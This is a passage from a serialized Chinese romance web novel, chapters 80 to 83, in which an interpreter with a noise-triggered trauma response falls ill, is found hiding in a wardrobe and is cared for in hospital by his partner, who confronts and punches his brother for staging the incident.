戚诺道“他兢兢业业上着岗呢,刚还做了我的特别搭档。” 回答完,他迟缓地发现…… 江知羽不见了? 作者有话要说 你知道你弟打架很牛逼的吧?之前糊涂没关系,下章也能知道了( 第 80 章 雪夜 欢呼雀跃,推杯换盏,江知羽表面滴水不漏,逢人言笑晏晏。 背地里,他手掌被指甲掐出一道道印记,雕塑已经被清理干净,爆裂的巨响却久久回荡在耳边。 什么也听不清楚,什么也思考不了。 这些年的工作经验养成了肌肉记忆,他面对旁人的话语和目光,几乎是机械性地做出合适反应。 活动步入尾声,一罐润喉糖已经空了,随身杯里的维c冲剂也全部喝完,下属在休息间隙想要帮他去倒水。 “没关系,我自己去就好。”江知羽说。 听到他的声音,下属惊讶“江老师,这怎么可能没事?你的嗓子都哑了!” 江知羽示意他不用担心,确认场上四平八稳,之后去洗了一把冷水脸。 凑巧,戚立晋的秘书注意到了江知羽。 他是现场的主要负责人,表示今晚下雪回程不方便,既然答谢宴基本结束,让他们这些协助人员先行撤场。 江知羽在用纸巾擦去水珠,屋内供暖充足,他的脸色却格外苍白,明晃晃的灯光下如结冰湖面。 秘书来不及看清,江知羽揉皱纸巾,轻声地向他道了谢。 主办方逃不掉劳心劳力,秘书没有空闲多聊,他看着对方快步离开,不禁呼出一口浊气。 继而江知羽低下头,毫无所知地打出一个错别字,再慢半拍地往回删除。 日常的话语突然变得难以措辞,他闭了闭眼,在蒲音的群里发通知,简单交代了下情况,叮嘱其他人路上注意安全。 眼睛格外酸胀,盯着屏幕甚至发痛,群里有人问他是否要拼车回去,然而江知羽搪塞着说自己已经离开,不愿意将缺陷暴露在众人眼前。 他自知状态糟糕,没办法回到会场,经不起审视推敲,拖着沉重的肢体往大堂走,麻木地开房、登记、上楼…… 卡片刷开门锁,江知羽迫不及待地躲了进去。 大门自动闭合,发出“砰”的闷响,他的步伐随即凌乱匆忙,一手撑着水池的台面,屈身止不住颤抖。 人前竭力强撑着体面,实则头晕到想要作呕,持续的耳鸣让他天旋地转,高频的声响似电流也似爆破。 当下忽地卸下力气,那些声音汹涌地挤进来,登时占满他的脑海。 江知羽忙了一天吃得很少,想吐也吐不出来,这样反而让他更加难受,胃里翻江倒海地灼烧着。 前不久他猝不及防听到过电机钻孔,短暂地感到恶心,也会想到痛苦的记忆,但那种反应能够承受。 但这次发烧加上应激,诱发了强烈的反应,江知羽从没有这么狼狈过。 衣服领口和袖子全被打湿,连骨缝都在发疼,他的视线有些模糊,靠着几分理智买了药品配送。 做完这些,江知羽疲倦地栽到了床上,随后如同短暂昏迷,不知道睡过去多久。 过了会儿,他被陌生来电吵醒,音乐铃声在今天格外刺耳。 “您好?”他将手机调成静音,恍惚地说。 “江先生是吗?对不起,外面看着要下暴雪,平台很难喊到骑手,我们加价都不接单了。” 药店这么说着,为难地询问“请问您是退单还是再等等呢?” 哪怕换一家店重新购买,也不见得能早一点送到,江知羽回答不用取消单子。 被这么吵醒之后,他没那么困了,心有余悸地坐了起来,下意识打开航班信息软件。 最近天气恶劣 ,机场大面积延误,打乱了好多行程。 戚述的直飞航班也是如此,除非绕到其他城市降落,多费些杂七杂八的功夫,否则一时半会回不来。 他会想我吗? 江知羽冒出这个想法,迟钝地愣了一下,倍感荒谬地笑了起来。 怎么在想这些东西,无法解决实际问题,相比损失无关痛痒,他觉得自己不太着边。 他转而琢磨,应该是因为我想他了吧。 套房配备了衣柜,江知羽意识昏沉,发冷时痛得受不了,就浑浑噩噩地缩在里面。 狭小空间能让他有一种被包裹的感觉,整个人好像就没那么疼了。 · “你们要找江老师?”萧徽准备离开,听到戚述和戚诺的交谈。 他看到戚述其实有一些尴尬,之前假装彼此熟识,实际上人家就在眼前,自己却没有认出来。 而且,戚述虽然没有翻旧账取笑,但也没有与他结识的意思。 所以萧徽避开了戚述的视线,看向戚诺“蒋秘书让服务商们撤场了,江老师刚通知下来,没弄错吧?” “哦,没错啊,蒋哥是现场统筹,听他的就行了。”戚诺说。 萧徽道“我看江老师好像不太舒服,说是已经回去了,您有事打他电话就行。” 戚述皱了下眉“他生病了吗?” 萧徽解释“从早到晚忙得没怎么吃东西,估计是饿着了。” 没再与他们多讲,戚述发消息给江知羽,等了一会儿没有答复,就作势要开车去铂曼。 期间有亲戚出声拦住,邀请他留下来叙旧,他不耐烦地找了借口敷衍。 雨雪势头越来越急,交通路况很差,出了好多起追尾事故,十字路口堵成一片。 戚述索性避开几条主干道,绕了一大圈回到国贸。 江知羽的公寓没有人,敲门得不到回应,从楼下望去也没有灯光。 换成其他人或许会一筹莫展,可戚述另外有了念头。 既然江知羽身体难受,那可能没有离开饭店,路上少说要折腾半个多小时,更别说这个节点很难打到出租。 思及此,戚述又冒着大雪返程,这时候路上已经没什么车了,所有人都在往家里跑。 值班经理认识他,见到他挟着一身寒气进来,意外地打听有什么事。 戚述直接问江知羽住在哪里,身份信息全都报得准确,又能证明他们是朋友关系。 经理听完,还真的有些印象,因为青年证件上的照片着实亮眼。 陪人来到楼上,门口有一袋外卖的药物迟迟没拿,尽管出于保护顾客隐私,订单上没有展示具体信息,不过经理已然察觉出了不对。 再三敲门没有任何应声,经理赶忙拿出备用钥匙。 进去之后,屋内有不少活动痕迹,有一张房卡插在开关处,然而他没有瞧见人影。 “可能江先生出去了?”经理慌张地说。 戚述说“辛苦你给他留言,就说房间我进来过,不会让你有什么麻烦。” 经理表示没有问题,然后被其他人叫走。 离他们十来米的距离,江知羽隐没在阴影处,迷迷糊糊地半睁着眼。 他听到了经理的关心和呼喊,但昏沉地藏在原地,没力气出去回复,身体状态差到了谷底,几乎以为耳边产生了幻听。 尤其是在戚述的声音出现以后,江知羽撩起眼帘,又往角落处缩了缩。 不会被看到的[(., 他放轻了呼吸。 他往往站在聚光灯下,没人瞧得出他有哪里脆弱,残留的怪癖是那么小心翼翼又匪夷所思,江锦昆也未曾察觉过。 江知羽被不想被视作畸形,不想被纠错改正,不想脆弱的一面被暴露。 他最不想让戚述看到,对方会担心还是疑虑,会觉得他自私还是软弱? 种种可能都不是什么好下场。 江知羽胡思乱想着,阵发性的耳鸣盖过了外面的脚步。 直到光线漏进衣柜,他如梦初醒。 他没来得及抬头,戚述半跪下来“江知羽,你以为我感觉不出来你在这里?” 故意没有和经理戳破,没有让第三个人发觉秘密,戚述做得如此含蓄,朝向江知羽时却又强势。 江知羽猝不及防,茫然地试图回避,戚述直接将人抱了出来,他不得不坐在他的怀里。 紧接着,一只手抚上江知羽的额头,触感烫得让人心惊胆战。 感知到了他在发抖,戚述把他搂得更紧了些,江知羽一言不发地埋下脑袋。 不知道为什么,戚述觉得江知羽现在很难过。 “你怎么发高烧了。”戚述很轻地抹过他的眼角,“没凶你,你别伤心。” 因为在生病,柜内的空气也不流通,江知羽的眼前蒙着一层水光,脸颊也泛着病态的潮红。 他慌张得语无伦次,混乱道“对不起,我不是故意的,没有要吓到你。” “我没有在害怕。”戚述心里错综复杂,有诸多困惑积压着,但全都没有表现出来,怕那样会让江知羽的情绪更加激烈。 他温和地说“我就是急着想见你,早一点回来了,现在带你去医院好吗?” 见江知羽没有反应,戚述耐心地说“没有关系,我们去医院看看,不会有什么事情。” 这时候江知羽的意识很难正确分析眼前场面,看他不怎么抗拒,戚述送他去了医院。 近期日程繁忙筋疲力尽,受寒了又没有照顾好自己,抽血检查出来还是病毒性流感。 转到病房挂上药水瓶,江知羽脱力地睡了过去,梦呓的时而是“好吵”时而是“戚述”。 戚述捏了下他的耳朵“我也没有烦你啊,你在哪里受委屈了?” 工作上要是真出现什么难处,从江知羽这里估计撬不出话来,戚述也不想多等,陪着输液的时候打了周柯电话。 大概过了一个小时,药水已经挂完,戚述及时地喊来护士拔针,轻手轻脚地帮江知羽掖好被子。 江知羽睡得很沉,全程没有惊扰,随后戚述去屋外接了周柯的回电。 周柯找其他人员打听完一圈,详细地告知来龙去脉,包括曾有翻译和戚诺提过,江知羽不太听得了吵闹,然而戚诺更加来劲。 作为乙方,他不好严厉地责怪永煊,但也珍惜自家员工。 “我记得知羽是真的很怕噪音,上次我们办公楼上折腾了没半分钟,他就吓得一动不动。”周柯说。 他无奈“好端端的答谢宴,我从业那么久没见过有人砸东西,你说搞这些干嘛?早知道不让知羽负责这个项目了。” 戚述挂掉电话,又拨号给二叔,询问他们在哪里。 二叔有些烦闷“刚才留你聊天,你说了没空赏光,这会儿大忙人又来主动上门了?你当我们是什么?” 戚述说“戚诺人呢?” 二叔说“我们都在你爷爷这里,你是不关心家里,今年忙前忙后,好不容易能聚齐人,凑一块儿多聊聊天。” 这么说着,二叔转头看向戚立晋,告知戚述待会儿要过来。 亲戚们听完很吃惊,登时表情各异,厅内气氛变得有些冷却。 戚诺打圆场“还算他有点孝心,之前虽然没有出力,但也能陪爷爷解解闷。” 台面上讲是这么讲,其实所有人都不乐意戚述回来,更不想他讨老爷子欢心。 戚述也没有让他们失望,被管家接进庄园后,走进阔别已久的房子,根本不理睬眼前的关切。 戚诺认为场合越热闹越好,最好能炒出话题供人议论,戚述不介意给他添上一笔。 与其他亲戚擦肩而过,戚述径自走到桌边,看戚诺直起身来问好,也假惺惺地勾了下嘴角。 大家都在观望着兄弟俩会如何相处,他随即朝兄长抡起利落的一记右勾。 戚述出手完全没留任何情面,把戚诺的脸都揍偏过去,这一下光是听动静都足够渗人。 在场的所有人纷纷僵住了,来不及消化这是闹出了什么事,哪怕他俩在孩童时期都没有打过架。 戚诺也同样意想不到,扑在桌边摔了碗筷茶具,噼里啪啦洒掉一地,然后又被戚述扯过衣领拎起来。 瞧着戚诺嘴角流了血,戚述无动于衷,冷冷问“够长记性么?” 根本没有给戚诺发问和回答的机会,戚述翻过手腕,骨节有些绷紧。 紧接着又是重重一拳。 作者有话要说 第 81 章 风过 反了天了。 水晶吊顶下,人结结实实地倒在椅背上,连同实木餐椅一起被带倒,再度发出“砰”的闷响。 回声绕在偌大的客厅里,眼前的变故太有冲击性,大家手忙脚乱地站了起来,难以置信地乱成一团。 尽管他们知道戚述离经叛道,和兄长的关系必然微妙,但往日讲究教养和风度,谁也无法预料他一来就会大打出手。 别人缓不过劲,以至于没有及时阻拦,戚诺同样大脑空白,硬生生挨了几下拳头。 吃痛之际,他奋力挣扎起来,反被踹翻过去,后背直接撞上了墙壁。 两边乍看身形差不多,可戚述的动作明显更为凶狠和果断,对面根本没有招架之力。 他们互相冷战过,彼此记恨过,哪怕撕破了脸把话说绝,戚述都表现得克制而漠然。 但现在戚诺怀疑这个人能杀了自己。 “别打了,别打了,你们这是做什么啊?!”三叔诧异地试图制止。 “阿树,这是你亲哥,你今天要在这里把他打死是吗?” “你们之间有矛盾可以沟通,消消气,发生了什么事了你倒是说?!” “你专门来砸场子?你哥身子骨不好,戚述,你想要他的命?” 周围逐渐反应过来,七嘴八舌地拦架和劝阻,面对几句指责,戚述表现得毫无歉疚之情。 他眼神冰凉,看着戚诺被二叔搀扶起来“你清楚自己做了什么事。” 戚诺鼻青脸肿尚且不提,今晚被戚述揍得无法还手,亲戚们目睹了全程,虽然嘴上安慰着,但心里估计嘲笑不已,往后对他还有什么敬重可言? 闻言,戚诺气不打一处来,明白弟弟提的是江知羽。 “草,你发什么疯,我没有动他!”他咳嗽。 之前他被戚述警告过不准招惹是非,纵使内心不服,也没敢对江知羽下绊子。 可是到了会场上,萧徽说起江知羽的软肋,戚诺突然觉得电锯很适合作为道具。 除此之外,江知羽对此抗拒的反应很蹊跷,联系到曾经有过休学经历,戚诺愈发跃跃欲试。 正好他还有冠冕堂皇的理由,可以说这些举动是为了表决心的效果,足够遮掩他那一点私心。 戚诺还揣摩过,即便得罪了戚述和江知羽,对方也没法责怪什么,他推进自己的计划有错么? 当下,戚诺道“我都是为了永煊好,你他妈眼里都是什么?” “江总监真的怕噪音?让他出洋相好了,自认倒霉吧,不是说他工作能力很强么?出了岔子我挺想看他怎么收拾。”戚述冷声念着,“你讲这种话的时候想过公司么?” 戚诺愣了下,白天他到处补漏洞陪笑脸,到了答谢宴的时候,磨得心情很暴躁,懒得和服务商装样子。 萧徽最初不肯帮忙买东西,一直和他顶嘴,他确实讲过类似的话。 不过,戚诺咬死没认“你不要血口喷人,我是那种人?” “对啊,阿树是不是误会了?”有人道。 “他性格那么温和,怎么会给人使绊子呢,答谢宴那么重要,自家人哪可能用来开玩笑?” 戚述说“翻译全程要开录音笔,都同步在线上,我来的路上确认了一遍,给你们也听听?” 这个是业内默认规矩,合同里也签了进去,以防出现争议难以界定责任,只是戚诺没怎么留意。 话音落下,戚诺瞬间变了脸色,戚述不容许他们拒 绝[(., 播出了那段音频。 戚诺在背地里对人是什么嘴脸,是如何尖酸刻薄,又如何我行我素,全都在对话上昭然若揭。 戚述说“你也别事后挑软柿子捏,回头找蒲音的麻烦,这些东西全是我问他们要的,你大可以冲着我来。” 这么讲着,他嗤了声“但我这人比你更不屑装温和,下次可没有三叔帮你拦架了。” 家庭聚餐变成了一地鸡毛,戚诺被说得噎住,还想对戚立晋说些什么。 戚立晋看到他被打,本来气得脖子涨红,训斥戚述无法无天,然而听完音频之后,面容肃穆地沉默着。 “爷爷,他故意设了个圈套诈我……”戚诺慌张道。 他进入集团就是默认的太子爷,向上的通道一帆风顺,看似平步青云颇为亮眼,实际上全靠别人扶持,自身拿不出真材实料。 如今稍和戚述正面起了冲突,完全没有胜算,被一步步逼到死角,短板便暴露无遗,想的竟是企图讨长辈偏心。 戚立晋可以溺爱一个无知的孩子,但不愿袒护一个无能的男人。 “花几百万买雕塑,一时兴起又毁掉,你觉得他们真以为你是大丈夫破釜沉舟?” 老人被气得握紧拐杖,再道“不知道有多少股东嫌你哗众取宠,你居然指望别人闹笑话?” 戚诺奄奄一息,辩驳“您根本不了解那个姓江的是什么来历!” “他是谁都可以,你犯的事情够蠢了,我当董事长的都没在外面这么讲过话!” 戚立晋卸了戚诺职务“你被揍一顿也应该,你当我就不想打?以前我担心自己老了,你能不能扛住家业,现在我觉得你别上班最好,就在家里面壁思过。” 戚诺没法争执,手上的权力来自长辈安排,就能被长辈轻易地收回。 看着管家带他去止血上药,戚述觉得他好像主动成为了一只宠物。 被疼爱的时候万般金贵,自身一事无成不思进取,仗着偏袒可以对外嚣张无比。 当别人不再乐意包容,他已经消磨了斗志,无法再长出利爪,无论惩罚和丢弃都任由摆布。 戚立晋随口就停了他的工作,戚诺也意识到了这点,离开时表情灰败,恍惚到需要被管家架住。 “你们是在为谁吵架呀,能让你大雪天跑过来追究?”女眷对戚述道。 戚述淡淡说“我的翻译,他找上门去合作,又这样捉弄,你说我该让人被欺负么?” 女眷心有余悸,转而道“哎,你的关节和虎口都擦伤了,我拿药盒过来帮你包扎一下。” 戚述不以为意“我还有事要做,不在这里多留了,大家应该也不是很想让我出现。” 这么说着,他耸了下肩,眼底有几分血性。 “谁让戚诺今晚好死不死待在这里?抱歉,我忍不到隔天再算账。” 下手太狠,自身不免破皮流血,走出门被寒风一吹,倒是被冻得没了痛觉。 回到住院区的暖气里,江知羽还没有醒,戚述想去碰他的脸,又忽地缩了回去。 他怕自己的手太凉,而且指尖还残留着血迹,会弄脏对方的脸颊。 高级病房有独立卫生间,戚述起身去用热水冲了一会儿,坐去床边的时候,江知羽若有所感地颤了两下睫毛。 知羽高烧未退,浑身泛着酸痛。 戚述刮了刮他秀挺的鼻梁“这位患者,你想开止痛药,大半夜的找对人了吗?” 江知羽虚弱地说“我很熟的,你是戚述。” “答对了,奖励你拥有一个正值适婚年龄的护工。”戚述即刻上岗,“我现在帮你去喊医生。” 他们住的是vip部,各项资源配备齐全,每层楼有医生和护士全天轮班。 很快,医生过来看到江知羽逐渐清醒,仔细地问完几个问题,再开了一盒止痛片。 “垫垫肚子再吃,否则伤胃。”医生叮嘱。 戚述来的路上发现有店面没关门,让人帮忙煮了一碗馄饨放于保温盒,这时候正好能拿出来。 缓慢摇起病床,江知羽依旧很疲倦,病恹恹的神色带着一点懵,被戚述喂了几口馄饨也不反抗。 他难得有这样脆弱的时刻,呼吸放得很轻,吃东西也显得辛苦。 戚述没照顾过人,经验有限以至于笨手笨脚,担心自己盛快了会噎着他,放凉了又可能没口感,总觉得怎么做都不太对。 好在他有百分有的细致和耐心,注意着江知羽的反应,连嘴角沾了汤汁都帮忙抹去。 “你的手怎么受伤了?”江知羽吃完一粒止痛药,眨了眨眼。 戚述轻描淡写“刚才把我哥揍了一顿,不碍事。” 江知羽迟疑半晌,半慢拍地去握戚述手腕,然后戚述轻轻摁住了他。 “你看我一点关系都没有,心里有数,就是打得太用力了所以有点肿,等你退烧的时候我也养好了。” 江知羽盯着他的伤口“那我会很快痊愈,你要记得涂药。” 睁眼看到戚述陪在旁边,江知羽在陌生环境里登时安心不少,随后想到自己的怪异之处一定会被询问,又不禁变得局促和惶然。 可是戚述没有提起,一句旁敲侧击都没有。 江知羽看着戚述先给自己热了杯牛奶,继而找出屋内日常药箱,给右手的伤口涂上碘伏,又贴了一张创可贴。 似乎是觉得创可贴很不舒服,他张了张手,有点想要偷偷扯掉。 “你别撕,伤口还有一点血。”江知羽不可思议,“你这是把戚诺揍死了吗?” 戚述听他的话没再动,解释“还剩半条命,留着给他们玩。” 见江知羽有些怔愣,他转移话题“我留下来陪夜,就坐在这里,你再睡一会儿吧,不用有其他心事。” “你的航班延误了六个小时,是我手机搜错了吗?”江知羽疑问。 戚述弯起眼睫“我改了班次,去隔壁落地然后坐车回来。” “唔,这么吃不惯葡萄牙的海鲜啊。”江知羽有点困,却挤出精神来,想和他多说说话。 戚述答复“海鲜很好吃,怪我实在忍不住想你,能回来就一秒都不想多待。” 江知羽笑了下,半张脸陷在枕头里,看起来有些腼腆。 他又拉过戚述的手,睁着眼仔细瞧,打量着那些细碎的伤痕。 此刻安静得唯有窗外风雪作响,戚述有些不太自在,又听到江知羽叹出一口气。 他会觉得我做事草率么?还是在烦恼事情被暴力收尾呢? 戚述忐忑着,很想为自己辩解,但赶在他组织好措辞之前,江知羽先一步有了动作。 江知羽凑得更近了,鼻尖蹭过那张创可贴…… 然后他亲了亲戚述的指尖。 作者有话要说 绒绒你这样弄他,他怎么专心陪护病号,晚上睡觉小心点吧!(着急)(走来走去) 第 82 章 软肋 江知羽唇畔柔软暖热,轻轻地搭过手指,蜻蜓点水般沾上体温。 像是有魔力,那些伤口顿时没了痛感,戚述泛起一阵酥麻,从右手蔓延到全身。 他捏了捏江知羽的脸颊,又将对方散落的鬓发撩到耳后。 “睡吧,我一直在这里。”戚述对江知羽说。 难受的时候格外没有安全感,江知羽也不想佯装坚强“闭上眼就看不到了。” 戚述好笑“不是手都握在一起么?” “你脱掉外套,把床头灯关掉。”江知羽觉得自己作为病人可以任性,“上来抱着我。” 听完要求,戚述略微迟疑“床有点小,怕你休息不好。” “那你抱紧点。”江知羽认为这不是问题。 空气满是消毒水的味道,过一会儿,他被熟悉的木质调气息笼罩。 被戚述搂着,江知羽在他颈窝里嗅了嗅,终于彻底没了戒备,安然地进入了梦乡。 屋内恒温,棉被厚实,江知羽却觉得阵阵发冷,偶尔忽地惊颤一下。 每当他朦胧地快要转醒,隐约能感觉到戚述有一搭没一搭地拍着他的脊背,安慰他慢慢地放松下来。 于是江知羽攥紧戚述的衣摆,沉沉阖着眼皮。 药物的作用让他浮出薄汗,戚述时不时去挤一块温毛巾,耐心地从他的脸颊擦拭到侧颈。 雪下了一整晚,到第二天早晨渐渐平息,江知羽连续做了好几个梦,查房的时候还有点恍惚。 被医生报出名字,他揉了揉眼,戚述已经衣衫齐整地站在床边,问起康复期该如何照料。 “最近好好休息,注意饮食营养,没有太多讲究。”医生默认戚述是家属。 他道“虽然年纪轻恢复得快,但还是该把身体当回事,你看这次多急啊,一测耳温就是40c,晚点的话烧坏了怎么办?” 戚述没有任何解释,受教地颔首应声。 江知羽昨晚身心交病,忙于工作没怎么进食,本就胃不好受,猝不及防的惊惧引发躯体反应,发烧加重了这种不适表现,情景的确非常危险。 当场开的两瓶药水能够镇静退热,他如今状态平复缓和,不过还是需要再挂一天抗生素。 医院提供的早餐偏清淡,因为有其他人来来往往,江知羽不好意思再让戚述喂,握着勺子慢吞吞地喝粥。 戚述帮忙剥鸡蛋和削苹果,江知羽食欲不振,觉得蛋黄噎得慌,然后戚述代为解决了。 “昨天你送我来医院,我都没什么印象了。”江知羽说,“那时候好像是烧得有点糊涂。” 听到他这样讲,戚述轻轻弹了下他的眉心。 “我把你放到车后座躺着,你一直抱着胳膊在发抖,所以我们到急诊以后,我先给你这儿用了一张降温贴。” 江知羽心虚地说“你火急火燎地转机,一到就要收拾这些,累得够呛吧?” “我一点也没觉得累,在你需要的时候我能出现,那我只会庆幸自己赶回来了。”戚述回答。 江知羽怔愣片刻,呆滞地咬了口果肉。 他难为情“在急诊折腾了什么,我也不太记得,好像清醒过来就是在这儿输液。” “检查,抽血,你没什么意识了,他们找我询问过往病史,因为你好像有点恐慌。” 戚述解释到这里,略微顿了下“我说我不是很了解,但你应该没日常服药……那时候乱糟糟的我不知道自己有没有做对。” 江知羽道“如果我当时还有力气就好了。( 正好吃完苹果,他别扭地抿了下嘴角。 自己已经被找出来了,以最落魄的形式,他曾以为戚述会被吓退,然而对方就在眼前,投来的目光是那么专注。 江知羽鼓起勇气“我要是听到的话,会选择让你知道,我是有点应激,最严重的时候就休学躲在家里,做心理咨询也不怎么配合。” 提的事情无力又难堪,他向来骄傲矜持,平时喊声累都不愿意,这样做无异于袒露弱点,交给对方尽情审视。 开了这个口,就没有退路了,正好江知羽也不准备反悔。 他说到自己跟着爸爸来到异国他乡,最开始水土不服,趴在窗边想出去玩,街头也全都是陌生的肤色和语言,每一处都让他感到格格不入。 后来被入室盗窃,他堪堪逃过一劫,但在他的眼里,连住处都变得不再安全。 为什么有人能撬锁进来,让他家一片狼藉?江知羽想不通,明明他爸前不久刚安顿好,六层楼跑上跑下了无数次。 他也听懂了那人的耻笑,对方抱怨运气不好,抢东西撞上了一家穷鬼。 其实江知羽不认为穷是值得窘迫的事情,人贵在自强自立,父母很早就教他这个道理,可是在那天,他觉得这个家被侮辱了。 后来江锦昆询问他事情经过,江知羽说自己听不懂犯罪分子的胡话,实际上他全部揣在心里。 “很难过的话,不要讲了。”戚述打断他。 江知羽没有停下“咨询师说我是应激了,有一点心理失调,好在我爸很重视这个问题。” 放在寻常人身上也有这类病,所谓的上班恐惧症就是其中一种。 不过江知羽的显然更严重一些,那会儿他尚且年幼,却受到了意外创伤,一度变得患得患失,更容易焦虑和紧张。 这需要系统性地调解和制止,否则会演变成抑郁障碍,江锦昆没有将其视作小孩子闹情绪,努力提供了治疗条件。 “我爸搬去了治安很好的别墅区,后来我不小心听到了,那套房是他问老板借的,为了这个,他多给人卖命了三年,房租抵了他所有的加班费和奖金。” 江知羽扯起嘴角“换到大房子之后,我浑浑噩噩了半年多,他上班的时候,我经常很没用地缩在衣柜里。” 这种行为也是失调的体现之一,他自知匪夷所思,特意做得很小心,没有让人发现。 戚述忍不住道“别这么形容自己,在所有人眼里你都很优秀,不管那阵子怎么样,你都走出来了,而且走得非常远。” “嗯,我恢复了回到学校,就能考到年级前十呢。”江知羽应声。 现在他可以三言两语一概而过,对外落落大方不见半点怯弱,当初像是无论如何也迈不过心里重重大山,尝过多少次挫败其实难以估量。 江知羽在来时路上倾尽了全力,才能以轻松的姿态来到众人面前。 他习惯瞒住伤疤,不允许自己露出短板,然而此时此刻,却选择毫无遮掩。 “大家看不出来我有哪里不对劲,我爸也不知道我原来还有这种怪癖,你是唯一知道这个秘密的人。” 说到这里,他垂着眼睫“戚述,我的软肋在你手里了。” 再比如他喜欢缩在柜子里,这种程度够不上是精神疾病,只是比别人更加讨厌孤寂,比较没有安全感。 琢磨了一会儿,江知羽的表情逐渐有些无奈。 这些措辞都在美化形象,在戚述打开柜子那会儿,对方眼里的自己肯定很狼狈…… 刚想到这里,江知羽被抚摸过头发,继而他有点茫然地望过去。 戚述说“你愿意说给我听,我会自己好好记着。” 江知羽眨眨眼“听完忘了也蛮好,忘不了也别嫌我奇怪,可以么?” “你以为我找到你的时候,会有这种感觉?”戚述感到荒谬。 他辩驳“我只是很心疼你,一声不吭地缩在角落,难受了还要自己这样熬着。” 江知羽动了动嘴唇,眼神闪烁“你没有生气?” “我是有一点生气,”戚述道,“那也不是对你,我责备自己给得不够多,没能让你放心依赖,害你一个人躲了起来。” 不想给人增加压力,他又说“你可以保留回忆,这是你的权力,我要怪也怪自己来得太迟,没能分享你的过去。” 江知羽不禁屏住呼吸,再听到戚述低低地笑了下。 “你愿意和我分享,我有这个资格会很荣幸,怎么可能会退开?”戚述缓声说。 江知羽没有回答,清楚他全然不是花言巧语。 戚述越过千山万水地找过来,发现自己病气沉沉,第一反应就是稳当地护住。 做到这步,江知羽无法质疑。 他看着戚述的眼睛“我再努努力,会戒掉它的,不然我们把衣柜锁上好了。” “你如果觉得那里更安心,我会帮你在里面铺上软垫。”戚述从没打算强行纠正他,不想让他辛苦迎合外界的条条框框。 江知羽诧异地说“可我真的想改呢?” “我们就一点点来,下次你躲进去了,能不能和我说?” 戚述用着商量的语气,想到之前怎么也找不到江知羽,胸腔内狂跳的心脏有多么焦灼,实际上几近祈求。 “我不会打扰你,就待在你想看就能一眼找到的地方。”他道,“这样可以么?” 江知羽的嗓子还没养好,情绪起伏时咳嗽了几下。 随即,他淡淡地笑起来“你要当花瓶么,赏心悦目地杵着,具有一定观赏价值?” 戚述说“不,要是能选的话,我准备先做半天恶龙,然后一直当骑士。” 吊瓶里的药水快要输完了,眼看窗外大雪弥漫,他希望能把江知羽带回家,就像恶龙将珍宝存于巢穴。 “等你发现衣柜也没那么好,想走出来试试,我就可以直接邀请你。”戚述移回目光。 他交给江知羽一句誓言“绒绒,在我怀里也能保护你。” 作者有话要说 江律师小名是我取的,怎么是你小子喊得亲热(隐忍) 第 83 章 依偎 挂完点滴,江知羽透支过多,又脱力地睡去。 之后重新量了次体温在37c,虽然整个人较为虚弱,但指标堪堪恢复正常。 随后戚述帮忙办出院手续,江知羽待在走廊上晒太阳,中途接到了周柯电话,询问他是否无恙。 明白戚述帮自己隐瞒了病情,江知羽让老板不用担心。 “你听着有点没力气啊。”周柯说。 江知羽打岔“有吗?刚吃了两碗饭,可以拿个沉一点的开工红包。” 周柯道“精神倒不错,蛮开心的嘛,路上捡着钱了?” 江知羽抿唇否认“没有,我拾金不昧。” “那就是抢劫戚述了吧。”周柯悠悠地说。 不由江知羽狡辩,他再道“你是不是碰着他了?戚总之前找过我,说你貌似不太好,问永煊和咱们发生了什么事,我这才知道现场有麻烦。” 江知羽又翘起嘴角“算不上什么问题,没给蒲音捅娄子。” “有你在负责,我不担心这些。”周柯接茬。 关心完,他忽地提起,“话说你和萧徽关系还好么?” 江知羽实话实说“正常工作往来,别的没什么交集。” 萧徽在公司里人缘一般,业务绩效也不出挑,但因为行内经验丰富,水平有所保障,所以在口译部四平八稳。 这类员工其实周柯不太去管,新人偶尔会在外犯错,管理层为此抽查办公痕迹,资历越深则自由度越高。 这次出于戚述要线上记录,周柯顺道听了萧徽的录音。 戚诺自然态度恶劣,萧徽惹人不快之后,大概是团队里作为前辈被捧惯了,面对客户的数落,他不仅不掀篇,还自顾自找起理由,抖落江知羽有忌惮。 说好听点是挽尊,说难听点是拖同事垫背,那种情况不该出卖其他人,萧徽处理得很不妥当。 周柯在生意场上摸打滚爬那么多年,这点猫腻怎么可能听不出来,他想了想,还是给江知羽说了前因后果。 江知羽听完不是很意外,冷淡地应了一声。 “他看你不太对付,这事儿我也知道,之前不影响协作也就算了,我等收假了会找第三方和他谈谈。”周柯说。 江知羽说“我无所谓他做不做小动作,又没办法把我整倒。” 人一旦往上爬,就会招来眼红,他并不往暗处施舍眼神,也不畏惧明面过招。 周柯重用江知羽也有性格的因素,除了实力够硬能扛事,江知羽还沉得住气,不会把情绪浪费在不值当的地方,这般利落的个性注定能发展高远。 和周柯聊完,戚述还没回来,江知羽在墙边伸懒腰,活像个等着家长来接的学生。 过了大概五分钟,戚述拿着一叠报告,走的时候不忘多看几眼数值。 他与江知羽说“让你等久了么?我看你有些贫血,顺路问了问平时该注意的东西。” 江知羽说“饮食不规律,稍微缺点维c,多吃一点就好了。” 这么解释完,他开玩笑“我爸往常就爱操心这个,你这是让他以后哪凉快哪待着啊?” “我想照顾你。”戚述收起纸张,看着江知羽最近脸庞清瘦了点。 他音调有些闷,说的内容却极其嚣张“你爸在国外胳膊不够长,他管得住你什么?” 江知羽举例子“那我和谁在一起,对方姓甚名谁什么来历,总要争取让家里祝福吧。” 话音落 下,他怔了怔,嫌自己有些嘴快,貌似规划得过于着急。 不过戚述一点也不推脱,发觉江知羽会考虑这方面的事,趁机拿腔拿调地讨论话题。 “嗯嗯,你爸眼光挺挑,你一定要找个足够好的男人,又能赚钱又懂得做家务,客观条件能和他儿子相衬,主观上可以拿《模范家庭》奖状。” 如此还不满足,戚述念念有词“最重要的是身体素质也要不错,你爸喜欢游山玩水,他陪在旁边不能半路歇菜。” 江知羽听着,想和戚述说“你干脆报自己名字算了”,又疑惑江锦昆什么时候爱上了旅游? 没让他继续深想,戚述状似无意地介绍“别的小区我看活动不多,这不是巧了,怡枫上邸每年都有模范家庭的评选。” 江知羽被打断神游,好笑地示意戚述收住,不然感觉对方很快会拿出房产证让自己登记进去。 两人拌嘴了几句,继而一同离开医院。 雪花纷纷扬扬,车辆驶过铂曼那栋楼,主驾驶刹都没有刹一下,笔直地往前开去。 江知羽? 周柯还说他打劫戚述,明明是自己被绑架了? 尽管人质意识到了事态发展,但是没有挣扎,车子停在路口等红绿灯,江知羽微妙地玩着手指,偶尔瞥戚述一眼。 就这样被带到了怡枫上邸,戚述在门口短暂停留,聂茹熙拜托物业寄放了饺子。 “我妈说味道不错,家里自己包的,等晚上给你煮。”戚述朝江知羽说。 